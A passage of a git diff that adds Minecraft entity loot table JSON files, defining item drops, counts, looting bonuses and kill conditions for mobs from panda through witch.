/dev/null +++ b/src/data/minecraft/loot_tables/entities/panda.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:bamboo" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/parrot.json b/src/data/minecraft/loot_tables/entities/parrot.json new file mode 100644 index 00000000..da8f5711 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/parrot.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:feather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/phantom.json b/src/data/minecraft/loot_tables/entities/phantom.json new file mode 100644 index 00000000..8d13b7b0 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/phantom.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:phantom_membrane" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/pig.json b/src/data/minecraft/loot_tables/entities/pig.json new file mode 100644 index 00000000..dfd9353c --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/pig.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:porkchop" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/piglin.json b/src/data/minecraft/loot_tables/entities/piglin.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/piglin.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/piglin_brute.json b/src/data/minecraft/loot_tables/entities/piglin_brute.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/piglin_brute.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/pillager.json b/src/data/minecraft/loot_tables/entities/pillager.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/pillager.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/player.json b/src/data/minecraft/loot_tables/entities/player.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/player.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/polar_bear.json b/src/data/minecraft/loot_tables/entities/polar_bear.json new file mode 100644 index 00000000..2aa4ca64 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/polar_bear.json @@ -0,0 +1,53 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:salmon" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/pufferfish.json b/src/data/minecraft/loot_tables/entities/pufferfish.json new file mode 100644 index 00000000..bae203e2 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/pufferfish.json @@ -0,0 +1,35 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:pufferfish" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_meal" + } + ], + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.05 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/rabbit.json b/src/data/minecraft/loot_tables/entities/rabbit.json new file mode 100644 index 00000000..98d2d61d --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/rabbit.json @@ -0,0 +1,90 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rabbit_hide" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rabbit" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:rabbit_foot" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.1, + "looting_multiplier": 0.03 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/ravager.json b/src/data/minecraft/loot_tables/entities/ravager.json new file mode 100644 index 00000000..6093eec7 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/ravager.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:saddle" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/salmon.json b/src/data/minecraft/loot_tables/entities/salmon.json new file mode 100644 index 00000000..00ab91a3 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/salmon.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + } + ], + "name": "minecraft:salmon" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_meal" + } + ], + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.05 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep.json b/src/data/minecraft/loot_tables/entities/sheep.json new file mode 100644 index 00000000..7582713b --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:mutton" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/black.json b/src/data/minecraft/loot_tables/entities/sheep/black.json new file mode 100644 index 00000000..6581cd9b --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/black.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/blue.json b/src/data/minecraft/loot_tables/entities/sheep/blue.json new file mode 100644 index 00000000..56638f1a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/blue.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/brown.json b/src/data/minecraft/loot_tables/entities/sheep/brown.json new file mode 100644 index 00000000..f3620540 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/brown.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/cyan.json b/src/data/minecraft/loot_tables/entities/sheep/cyan.json new file mode 100644 index 00000000..bc1fbebe --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/cyan.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/gray.json b/src/data/minecraft/loot_tables/entities/sheep/gray.json new file mode 100644 index 00000000..1ddfbcbe --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/gray.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/green.json b/src/data/minecraft/loot_tables/entities/sheep/green.json new file mode 100644 index 00000000..47117ad3 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/green.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/light_blue.json b/src/data/minecraft/loot_tables/entities/sheep/light_blue.json new file mode 100644 index 00000000..d925d220 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/light_blue.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/light_gray.json b/src/data/minecraft/loot_tables/entities/sheep/light_gray.json new file mode 100644 index 00000000..017b24e4 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/light_gray.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/lime.json b/src/data/minecraft/loot_tables/entities/sheep/lime.json new file mode 100644 index 00000000..5a546d37 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/lime.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/magenta.json b/src/data/minecraft/loot_tables/entities/sheep/magenta.json new file mode 100644 index 00000000..327a8d74 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/magenta.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/orange.json b/src/data/minecraft/loot_tables/entities/sheep/orange.json new file mode 100644 index 00000000..b6bf3e95 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/orange.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/pink.json b/src/data/minecraft/loot_tables/entities/sheep/pink.json new file mode 100644 index 00000000..62ff32aa --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/pink.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/purple.json b/src/data/minecraft/loot_tables/entities/sheep/purple.json new file mode 100644 index 00000000..cd282c61 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/purple.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/red.json b/src/data/minecraft/loot_tables/entities/sheep/red.json new file mode 100644 index 00000000..be2743e6 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/red.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/white.json b/src/data/minecraft/loot_tables/entities/sheep/white.json new file mode 100644 index 00000000..812a9d0c --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/white.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/sheep/yellow.json b/src/data/minecraft/loot_tables/entities/sheep/yellow.json new file mode 100644 index 00000000..ba8c7310 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/sheep/yellow.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_wool" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:entities/sheep" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/shulker.json b/src/data/minecraft/loot_tables/entities/shulker.json new file mode 100644 index 00000000..c9bcfa64 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/shulker.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:shulker_shell" + } + ], + "conditions": [ + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.5, + "looting_multiplier": 0.0625 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/silverfish.json b/src/data/minecraft/loot_tables/entities/silverfish.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/silverfish.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/skeleton.json b/src/data/minecraft/loot_tables/entities/skeleton.json new file mode 100644 index 00000000..e1ccc2fb --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/skeleton.json @@ -0,0 +1,57 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:arrow" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:bone" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/skeleton_horse.json b/src/data/minecraft/loot_tables/entities/skeleton_horse.json new file mode 100644 index 00000000..de53cd75 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/skeleton_horse.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:bone" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/slime.json b/src/data/minecraft/loot_tables/entities/slime.json new file mode 100644 index 00000000..e898239f --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/slime.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:slime_ball" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/snow_golem.json b/src/data/minecraft/loot_tables/entities/snow_golem.json new file mode 100644 index 00000000..a90d1d25 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/snow_golem.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 15.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:snowball" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/spider.json b/src/data/minecraft/loot_tables/entities/spider.json new file mode 100644 index 00000000..bb4f2c62 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/spider.json @@ -0,0 +1,62 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:string" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -1.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:spider_eye" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/squid.json b/src/data/minecraft/loot_tables/entities/squid.json new file mode 100644 index 00000000..51c0b5dd --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/squid.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:ink_sac" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/stray.json b/src/data/minecraft/loot_tables/entities/stray.json new file mode 100644 index 00000000..ecc311fd --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/stray.json @@ -0,0 +1,93 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:arrow" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:bone" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + }, + "limit": 1 + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:slowness\"}" + } + ], + "name": "minecraft:tipped_arrow" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/strider.json b/src/data/minecraft/loot_tables/entities/strider.json new file mode 100644 index 00000000..112d4ed1 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/strider.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:string" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/trader_llama.json b/src/data/minecraft/loot_tables/entities/trader_llama.json new file mode 100644 index 00000000..49fd3dd9 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/trader_llama.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/tropical_fish.json b/src/data/minecraft/loot_tables/entities/tropical_fish.json new file mode 100644 index 00000000..daff7c99 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/tropical_fish.json @@ -0,0 +1,35 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:tropical_fish" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_meal" + } + ], + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.05 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/turtle.json b/src/data/minecraft/loot_tables/entities/turtle.json new file mode 100644 index 00000000..ea4dd863 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/turtle.json @@ -0,0 +1,49 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:seagrass" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bowl" + } + ], + "conditions": [ + { + "condition": "minecraft:damage_source_properties", + "predicate": { + "is_lightning": true + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/vex.json b/src/data/minecraft/loot_tables/entities/vex.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/vex.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/villager.json b/src/data/minecraft/loot_tables/entities/villager.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/villager.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/vindicator.json b/src/data/minecraft/loot_tables/entities/vindicator.json new file mode 100644 index 00000000..f6efdf1f --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/vindicator.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:emerald" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/wandering_trader.json b/src/data/minecraft/loot_tables/entities/wandering_trader.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/wandering_trader.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/witch.json b/src/data/minecraft/loot_tables/entities/witch.json new file mode 100644 